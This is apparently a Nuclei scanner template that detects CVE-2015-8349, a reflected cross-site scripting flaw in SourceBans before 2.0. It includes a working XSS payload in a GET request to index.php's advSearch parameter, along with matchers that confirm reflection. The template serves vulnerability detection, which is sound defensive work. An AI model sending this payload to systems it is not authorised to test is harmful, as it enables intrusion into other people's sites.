id: CVE-2015-8349

info:
  name: SourceBans <2.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of SourceBans that is 2.0 or above, which includes a fix for this vulnerability.
  reference:
    - https://www.htbridge.com/advisory/HTB23273
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8349
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-8349
    cwe-id: CWE-79
    epss-score: 0.09843
    epss-percentile: 0.93089
    cpe: cpe:2.3:a:gameconnect:sourcebans:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gameconnect
    product: sourcebans
  tags: cve2015,cve,xss,sourcebans,gameconnect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f691deb360b7356c7f74029c203fcdb3eae5680a5ee9f1f38c0196b03f31dcf702205d0839bc5f579cdc2f237b7a3aef056b99876d37e0bdc12dfc81d5ea5c1f4785:922c64590222798bb761d5b6d8e72950